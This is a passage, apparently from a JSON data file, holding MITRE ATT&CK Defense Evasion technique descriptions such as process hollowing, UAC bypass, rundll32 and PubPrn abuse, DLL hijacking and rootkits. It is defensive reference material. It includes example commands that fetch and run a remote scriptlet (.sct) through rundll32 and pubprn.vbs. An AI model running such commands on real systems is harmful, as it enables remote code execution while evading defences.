in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)\nT1096 | NTFS File Attributes | Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)\nT1093 | Process Hollowing | Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)\nT1089 | Disabling Security Tools | Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\nT1088 | Bypass User Account Control | Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)\nT1085 | Rundll32 | The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)\nT1073 | DLL Side-Loading | Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\nT1070 | Indicator Removal | Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.\nT1066 | Indicator Removal from Tools | If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.\nT1064 | Scripting | **This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\nT1055 | Process Injection | Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. \nT1054 | Indicator Blocking | An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. \nT1045 | Software Packing | Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)\nT1038 | DLL Search Order Hijacking | Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\nT1036 | Masquerading | Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)\nT1027 | Obfuscated Files or Information | Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) \nT1014 | Rootkit | Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\nT1009 | Binary Padding | Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n\nT1006 | Direct Volume Access | Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)" + "source": "# Defense Evasion\nThe adversary is trying to avoid being detected.\n\nDefense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics\u2019 techniques are cross-listed here when those techniques include the added benefit of subverting defenses. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1055.011 | Extra Window Memory Injection | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1205.002 | Socket Filters | Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\nT1027.011 | Fileless Storage | Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) \nT1218.011 | Rundll32 | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) \nT1027.009 | Embedded Payloads | Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) \n\nAdversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) \n\nFor example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)\nT1556.003 | Pluggable Authentication Modules | Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)\nT1578.004 | Revert Cloud Instance | An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)\nT1222.002 | Linux and Mac File and Directory Permissions Modification | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) \nT1216.001 | PubPrn | Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).\nT1574.007 | Path Interception by PATH Environment Variable | Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)\nT1006 | Direct Volume Access | Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)\nT1564.008 | Email Hiding Rules | Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).\nT1014 | Rootkit | Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\nT1036.007 | Double File Extension | Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.\nT1548.002 | Bypass User Account Control | Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also 